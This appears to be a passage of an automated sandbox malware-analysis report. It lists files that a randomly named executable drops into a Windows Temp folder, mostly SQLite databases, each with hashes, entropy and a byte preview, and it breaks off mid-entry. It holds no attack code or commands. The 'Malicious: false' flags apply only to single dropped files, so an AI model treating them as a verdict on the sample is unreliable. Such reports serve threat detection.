Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aKuJX3NHBr

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ajpIxoeCOU

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:LVKzVrNS90O:LIRrA90O
MD5:	94D71328B4FADE0B7066F12E9384F293
SHA1:	EB5852968E1ECF9ED1C3979B4461371D0C73AC85
SHA-256:	23C1132515A29C4242A094E4425910CB6DE2861507CA3B812840417D983E5CCE
SHA-512:	305F5F16A8FF8B171D4EC3B1F17D29FE562D77D85BA45074119639EB021B70F352BF8697D6B36C930A7210D087E434C3720F9F8DB7D07F9D48459B41B6C038FE
Malicious:	false
Preview:	YXO04E84IU7LCflfM6uh7XrAk

C:\Users\user\AppData\Local\Temp\b3bIWKvbXC

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bNWT1bKiit

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c9euxVHrQn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cBsJONMnuY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cF1uLLQbdb

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cXTbPPtTxN

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cqQpvzTyYk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cwsARjzqVh

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cx95CFRZOx

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\deDPwfECdD

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dioFFjjX2v

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\djhBGsynIK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eAHTZQUzwn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eBYbSLOMDU

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eIJVGaPEe7

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eIYCEcSreB

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ebaspZsOQx

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\enMLBkY3I3

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eoteNawfUT

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eqDArfobvr

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\etayrgI7Om

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ewnGchKrdk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f42nFoC3Qq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f8DgBIsOrl

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fdaLwnULSo

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
